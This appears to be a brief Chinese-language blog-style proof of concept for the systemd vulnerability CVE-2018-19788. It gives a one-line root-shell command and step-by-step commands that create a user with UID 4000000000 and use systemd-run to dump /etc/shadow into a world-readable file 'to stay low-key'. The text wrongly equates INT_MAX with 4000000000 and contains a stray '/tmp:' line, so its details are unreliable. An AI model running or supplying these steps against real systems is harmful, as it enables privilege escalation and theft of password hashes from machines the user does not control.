CVE-2018-19788 是一个漏洞,任何UID超过INT_MAX(即4000000000)的用户都可以在运行systemd的Linux系统(如Ubuntu)上执行任何systemctl命令。(已有获取root shell的详细文章:这里)。这篇分析与完整root shell文章的主要区别在于,此方法将以用户自身身份运行,而非root用户(老实说,基本上只是一个概念验证)。
要获取root shell,只需运行 systemd-run -t /bin/bash 即可,但如果你想低调行事,可以运行简单命令来获取特权文件,而不使用终端。请按照以下步骤操作:
adduser --uid 4000000000 someusername
su someusername
systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
/tmp:
cat /tmp/results_poc.txt